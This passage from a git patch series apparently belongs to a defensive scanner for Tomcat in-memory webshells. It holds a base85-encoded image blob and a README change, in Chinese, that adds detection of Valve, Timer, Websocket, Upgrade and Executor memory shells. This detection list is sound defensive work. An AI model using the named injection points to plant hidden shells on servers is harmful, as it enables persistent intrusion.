z6i#n;b>e7ZWHgXU@xq8y|03{&b*Zr|IITcq*ukPIGOU8enB9Ei57fq6T|%I+*TI(G zE)Jt?c9=v=nK2K0fUFziI!@vvjC^)#dD>)b%8f6cxKNWBgBLBRsb z6;+PP8S^|_6M={Fm5Zy<4ZyrkOVZ2>6)fFIOymYtlGFXPEcbeV`>25VjiQe0`al1^urjRe)0-W(^BNUho$k6)sYw z*kl+ugb=!B29yf(A8Rm33`>@1xy{@2TfE@)bg)TylHS@aFz`}@K@nm&rKqa+>}&Hg zI-ZQSj8vP9EMvBX6tePCaqQ4~YTM{9g1pJesC9Zk{CVsjm`5|(K?(`IQ#(cJHolt)g zIe^$A2aeh9m#kw}&Bt+IWi92xkuZCIoG(7(c$wm-DRp;&VV5+-aSneztbv?z5hmNv zAjEnxO*`T0e!i^G>Vs60x$(|cCX1N;7=P|oZ6hL5Gw*0oEeQUo(-BppH`@6|S7CE; zk3KF8^w7azahI6a@%v>_cR=eDeLmT=k^N}QhwZ#@V&|+R!w{X=Z3Y?EH0GaEs2^WilJ@0#c@rWCqA`F+9a9=;44 zo3S<=Q4VdLJoz=lxq6CuZ$%4I6JO*{mVH`2`)-Oo#1o!1DJ%TO9<6TO)4x!LY4~S* z5s_r4&|e3Qm|J6gp9K>O11ucJ1;I2NxOCd zU+X@KJ_0`gt_pq0nX@IFS-i#SQ1=s41$dfe)sNHDk}c0rueLs*WDn8T~}n* ziot|djf5^YsCs_8JdWS9SjqRmoge?I+p5Fs5qduApipPnLj{F^?Sm6ZRu@$N(U0KZ z(`}^n@$xndD&u(02L*j>LY`MVJ|Fuj$@Q?|bkiEsQteAH?=XAKh=}z+sDrj)9=*KS zdyI-kyb@KG8?|N~3WwIa`UAz6g(vo!10I?B1$4lUXMZW+yl`1*s?t})ZpgF7@wqCd z4;-`Oh7<6w99QdP1Mjb&_kWqfAUtSw`Oir>T-IrK@ z_ku>kOR_}t<-18ukFP&;1iL&bg~1U~x3o;den%}5lS-1#FSu%l!earsxC3%&vr(LW z)4Sm2s7F`3bo?4kXp$0hcW}JNXvmxd=f+-Vl2ytYT9*vu{zGT};;&#>3S%Bzi#T{h zTxNYXDRbh2GTS)`4cKa`e~`4>;}O`rYkr21Fd_;#Fpr)2mQf#2c*??G13NcfqtGrM z+@M=Xtl0EOen!H+ErA~kn$Y-~6!7qv)Z#92Dhrl*|IiT}~*O9AJaUgkZ;`WBej#r^GdIm+SqsdNPz${AsFsknnD63;pNX5~8!}IT z5nvhJ_g@~JKRs2ui$0rC5hgC*Jzpp!q}9)yH=BF++;0`akK1NwZ!B-X9ez}sfhArW z7Sp>+S|z~Ky;uz24($bsR=y&=@v99G(Khr~@&R1oZR=Vd@Nn+xKRBTDj{zlr zT#V{cLz%gu|16MvR%#h-?1FMhG4c}l68Cx(g##t%+ju?}dkS!2H%ii<_H`?@96yMc zC*w)>4_xPNq8}IDb`Zc1D*<)?i29s2G~^n6?^4Ti;IqW);J__h8XXT$ckxex!?7g~ zD!`NQXO;HD#(LqQE(G%WkXa3&R!bLipGDQrD0Y%T6`#W#Q2F>gXPN+@l~wqx$}K{rhYuuvS>_zq$&8}2zuMR|J@+Hf ziLh-Bm5~@F;7D%&p=~R$PV<+~UUH{ycA|2`N(vP~+{9eU!S@!s*sS?$K%g7wi(G&u zcYUiaXD;eQ{L>Zb0N%>Fk=)QY*LEOHW?;^Dc9dj_8rR7cTUh zv%U(jx6*|GM%1%d@=++xPpo2j9b@IKrAd%^H^uY6yzC6=Qm4vNVbK4`zgRl9`GO-@fy%Syfq0$n61=Gy(0@ znN~?8`;02!S@KlRze1EFCKysfR7x*4U8A1ZLa?toL$yiK2&PgE%WJ4Jm0PbR|n*wi9N1Ovq@Gltjay@Em*cBZp>jTkoe1I@Gsdv~~-w+ur5l z8N^VM+(|pmQI$l5tQfDorAL`gzW+UlK4f0l7-PWE^elbKiE6;O-Hpx2>^S+nWOO(3@aVu;Q**?nh{w=q_j ztK~!Mn)mS)jXKiz+2fA@@!nBN$_@J2&&7{(NRzO2httL+7e~4Vc$3o=7dR!RsB{32 z>NT`E$3imEKW_E^B}C9IgwU#GH9i>5n#TPSVB;||LxF7!w~8fnIGK_Kl-MilmKT{Y zX8VY;Hg`YS;t9GEN04QQDNNv0nT^hG5u8rm*K$tH9}xwy0LwkPz=MK=sS@!UF($mW z=f_vLB4ldBk%yzoyq>VcRtN$DfR0tx85 z#}jd}C;subz&uuA0H)L+;;xx3=K=fEUG=2nLH-ldDjV5t0T)VDSBj53VLBH3Ah8N2 z@7nktH=0)ZORfVqw|XgNQo!t>`vMn0mBmRr`XVsUFfIrLD!StMwy;>h9|!TP15gkD z<@XnnipAfYZM-+1PfzXa?38cZS{W%c1_BxhV4jNufp*^#5Lz;r`m^`R{+d{H+QGk2 zmjzdAw=|3+-}j%6z$=LWQuCkh|1)^k|3@h8e{AT6@ClQIB;)bqp+22&4u)0Lak8(+ zM=$tB<6}Jr0j84+Y*Ivjxrk}T8|;TqzW_Ns?Xz4@SJ&+nF&95pvf6j?<9Zk6N@<&$ znwrF-2M;d*N7{~=9t!3@^wIu-B4t!qr3+8j!nF*X$&5(?R8#sXsxsN00CaoD`4?t< zXRjS$GUrcA|JZVC`8_x}%*xWjn_Z0ErHCkd3|al1mqqHz-fY%mYF-I*bAPm|%p|*a zedTgF#Dk?u3~O*-pP32fhEMO;}MH7nrZ*45z&Zp|@)Z+WVzT zU(~tVv9)14#?Nb^wKm4{;Ow>|Z&zg#Q&fyDd}U;1y%p{wE_B$G;o&6hEd{e=D@q11 z;~4*RAeQ!S{Mld3cksuiRjutkwe9AxPwYNE7D}*y(vrm_m3!tM*ETLB7lVawlYN`J z>*S^OYp@S`SZS_=XLCG}Z__#qJy2Tt(sM0R=Pp250qUmxyP#qu%PCp{PPr$f$hDOo zoMh-C!iH58kIDZ8en6fS9WaADX6d*#Ka&}HVT>YWE`|*aT`^u{PEj@)dz zO5l9A7doRrk_fmFGP~4H)H`RpU6K$_0tWrS!Va9A-ya=-$8e7XRQcJNku#y>!l*K|*<2Eq^NNwow1<{QeLUV>JV^Y-+F z2+E*~i%|7`n9|h~Htu{bedecvG`!W+Y9bSDE#?J1=y5ZK)SMZ=ZG+gEY?u&mQjKVr zdcuKz{mC#N?6@n79r~cAxmn(N-B97;ai#g|Vqa_EEU$h7dGY?nS_g0wx!ObDdguB6 zCnez}3((=&$`B7?nPn1-PyHWMF5f0G;vKip)7DE3@CW?2lXC zlsEsb`h7PwZ@&=4R1&ub#SF(WuxY-tziFMOXa#{lY;Bbl%%GTxw6p!}dIH9!aA>bD z-~hpVe$@7ZIr<{ypdtUQhc$L$q5T=-of3%0+(1fPN6;#8Eufz~i9m=MeSUUWf8678 zn)XPiPwwB`h3}c&(qZje0f$KC$a{vc4edVG-4xYfpa9(8=6aW~$RT5BXh<0q6GLsf zZuq|=;~>z>0i6FYznvBu5)u*tnfw24@-Kt?q$yh38U8cEyZ<610)Kvw!dE35`$FL2 OAXP;Tg(5kN_x}qIRh_&5 literal 0 HcmV?d00001 From 1d5240006b864b76d85444f572cf0155caf78e52 Mon Sep 17 00:00:00 2001 From: ruyueattention <33751054+ruyueattention@users.noreply.github.com> Date: Thu, 9 Mar 2023 15:16:19 +0800 Subject: [PATCH 3/3] Update README.md --- README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 9aefd31..76e9c34 100644 --- a/README.md +++ b/README.md @@ -8,5 +8,9 @@ ![Tomcat内存马扫描结果展示](doc/listener.png) +增加Tomcat-Value、Timer、Websocket 、Upgrade 、Executor等内存马检测。 + +![Tomcat内存马扫描结果展示](doc/othershell.png) + ## 0x03 更多 -[Filter/Servlet型内存马的扫描抓捕与查杀](https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/) \ No newline at end of file +[Filter/Servlet型内存马的扫描抓捕与查杀](https://gv7.me/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/)